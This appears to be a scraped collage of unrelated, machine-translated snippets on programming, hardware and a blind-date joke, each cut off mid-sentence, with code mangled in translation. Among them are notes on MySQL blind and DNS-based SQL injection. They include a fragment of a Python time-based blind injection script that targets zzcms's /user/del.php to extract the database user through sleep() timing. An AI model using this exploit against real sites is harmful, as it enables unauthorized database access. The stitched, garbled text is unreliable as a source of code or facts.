bcc blind

When a man and a girl meet each other, the woman asks, "Do you have a house with two rooms and one living room ?" The man immediately replied no. The woman thought it was necessary to stop talking, so she stood up and said, "I have something to do. I have to go first ". She turned to leave and heard the man say to herself, "I have a single villa. Why do I want to live in a small apartment ?", Then the woman smiled and said, "the blind date continues,"

Label: style blog HTTP color use ar sp 2014 C Static members belong to Classes rather than instances. Static members have a wide range of applications. For example, public static member values can be obtained or set globally in an application, which is similar to the global variables of C ++, however, improper use may also cause problems. Class Test{Private Static string strstaticname = "hello ";// No parameter ConstructorPublic test (){}// Parameter ConstructorPublic test (string strname){Str

A Daniel encountered a search-type injection, and the tool was not easy to run, so he made a hand together, but I was a fool. After reading the literature and carefully mentioning it, write this note, just like other blind injection methods, to inject = by judging the page echo. = The injection point reports the following error: it is known by the error that this is a Mysql database.0 × 01-determine the database versionUse left () to intercept the Sta

_dl_module_resolve.This is actually a call to lookup (module,function).In fact, the PLT is really more complex to achieve, Elf will got split into. Got and. Got.plt, where. Got is used to hold global variable reference addresses, and. GOT.PLT the address used to hold the function, for external functionsThe reference part is separated into the. Got.plt, and the first three items of GOT.PLT are as follows:The first item saved is the address of the. Dynamic segment, which describes the information

motherboard's F-panel pins are typically located in the southeast corner of the motherboardIn the southeast corner of the motherboard is a pin area named F-panel (FRONT Panel front panels). The most typical f-panel is the look of the 5-pin under the 4-pin as shown. above the first two pins for the power-on lights, the latter two for the boot, the lower first two for the hard drive lights, the 3rd and 4th restart, the last is a non-connecting needle .All we need to do is to insert the correspond

China's traffic laws make red-green blindness impossible to drive because they may not be able to accurately discern traffic lights. In response to this problem, I think a device can be used to assist them in identifying traffic lights.The principle of this device:(1) This device is based on the Raspberry Pi micro Computer, which carries a camera and a small screen. (2) camera to the direction of driving. It captures traffic lights at any time, and once a traffic light is found, theRaspberry Pi

The MySQL database blind injection technology is insufficient to use SELECT... UNION for this reason. Injection Tool Box When there is no error message, a common injection always uses union select [null, null,... to check the number in the correct column selected in the previous selection, So we can go deeper. If no output result is displayed, it is almost impossible to obtain the content even if we know the name of each column in each table accurate

A fun interactive program, to use a function fflush, its role is to clean up the standard output stream, to stdout is to print data to the screen in a timely manner, a fact: the standard output is "line" for the unit, that is, hit \ n before printing data to the screen. This can cause delays. It is not visible on the Windows platform, it is changed to take effect in time. The effect of Fflush on stdin is to clear redundant inputs.#include Const intMAXN =123;//to ACConst intMaxLen = the;BOOLVIS[M

Title Address: Click to open the linkTest instructions: There are N balls, number 0--n-1Two sequence of the first I ball Xi = (i mod a)Section I yi= (i mod B)Seek Sigma (| Xi-yi |)It is known that there is always an equal difference between Xi and Yi.Speed can be accelerated under simulation.#include "Blind" HDU 4710 Balls rearrangement

error:/\2/u//SyntaxError: Invalid escape/\8/u//syntaxerror: Invalid EscapeSummary: This article lists a few in the regular Unicode mode of the incorrect escape form, warns you later in the writing of the regular time can not see the punctuation mark to escape, to the knowledge to be meticulous.Higher requirements: In fact, the regular Unicode mode is not as strict as I hoped, for example, most of the meta-characters in the regular, in fact, is not a meta-character in brackets, it is not neces

"The code is not a man's patent."The programming community is not a natural playground for men. The industry was born of a woman who was the world's first programmer Ada Byron Lovelace, the daughter of the famous British poet Byron.The code is not necessarily the impression of mechanical, rational symbols, and its behind is not necessarily a group of plaid shirts, pallet shoes, backpack men. The code can also be like a spring breeze, poetry romantic, colorful, like many of the beautiful girls wh

A group of people took a job photo the day before. I took a picture, but it was okay, a shirt in a suit, and a shirt of a leader. The girl was so fierce that she almost became a star face after making up for 10 minutes and PS. I deeply realized that women without makeup are the most cute ~ Yesterday, Uncle Ben gave me a case interview. It is estimated that I was a rare newbie who directly taught me how to get started at the partner level. Fortunately, it is unfortunate that too many things need

instance initialization Dynamic proxies, which dynamically create proxy,proxy by reflection, are used to add some additional actions you want to make to target, and then forward the request to target at the appropriate time. In other words, the proxy has a layer of encapsulation modification on target. HashMap, adjust the performance of the container by setting the capacity and load factor. When the default capacity reaches Three-fourths full, it will automatically expand re-hash. Theref

It seems that I can only achieve my goal by casting the pointer ... The grammar of the egg ache#include #include#includeusing namespacestd;classA { Public: Virtual voidinit () =0;};classD | PublicA { Public: voidinit () {cout"B Init"Endl; }};classC: PublicB { Public: voidprint () {cout"C-B"Endl; } voidinit () {cout"C Init"Endl; }};classB | PublicA {Private: intWow; Public: D () {Wow=0; } D (inta): Wow (a) {}voidinit () {cout"D Init"Endl; } voidprint () {cout"D-A"Endl; }};intmai

variable declared when it is not initialized to undefinedJavaScript cannot automatically assign a value to NULL for a variable, only through code: var a = null2. Converting undefined and null to type conversions can sometimes have different results:Convert to digital:undefined-> NAN; Null-0Converts to a Boolean value of:undefined-> false; Null-FalseConvert to string:undefined-> undefined; NULL, NULLV. About arrays1. When data is viewed through typeof, it returns an object2. When adding elements

/user/del.php"user = ' For I in range (1, 2): For payload in payloads: #遍历取出字符 StartTime = time.time () post_data = "id=1tablename=zzcms_answer where id = 1 and if ((ASCII ( substr (User (), +)) = "+ str (ORD (payload)) +"), sleep (5), 1)%23 ". Encode (" Utf-8 ") response = requests.post (URL, Timeout=6, Data=post_data, headers={"Content-type": "Application/x-www-form-urlencoded"}) if Time.time ()- StartTime > 5: User = payloadprint ' user is: ', U

Copy an example belowVarLru=Require"Lru-cache= {max: 500, lengthfunction (n, key) {return n * 2 + Key. length}, dispose: function (key, n) {n.close ()}, MaxAge1000 * 60 * 60}, Cache = LRU (options) I'm supposed to be familiar with this part of you. MaxAge This parameter is very easy to misleading, here I detailed the maxAge. I always thought that when the set is over a key-value, the LRU will automatically delete the key-value when it exceeds the value set by MaxAge. However, after some

elements of elements .In this line of code, note that set is a recursive pass-through subset:# Set[j] + = (Elements[i]) #Why Elements? SET[J] = set[j] + According to the question 2,+= Set[j] is still the original set[j], it may be the element of elements. SoSET[J] + = Elements[i]may be equivalent toElements[*] + = Elements[i]Once the elements of the elements are changed, the result is naturally wrong.How to solve this problem? According to question 3, as long as the set and elements are "no

mannernamespacehis_lib{classString {/*...*/}; classVector {/*...*/};}namespaceher_lib{classVector {/*...*/}; classString {/*...*/};}namespacemy_lib{using namespaceHis_lib;//everything from His_lib. using namespaceHer_lib;//everything from Her_lib. usinghis_lib::string;//resolve conflicts in a way that favors his_lib usingHer_lib::vector;//resolve conflicts in a way that favors her_lib classlist{/*...*/};}(3) We generally separate the code that handles the error from the "normal" cod

DNS injection is a DNS resolution request for a domain name through a database to achieve fast data acquisition purposes. Principle: Send a picture of yourself first Usually in the presence of an injection point without data echo injection, we need to use delayed injection or blind (Boolean injection), this injection speed is very slow, need a word Fu Chai solution, and very easy to hang Web site, at this time how we quickly get data. Below I will ex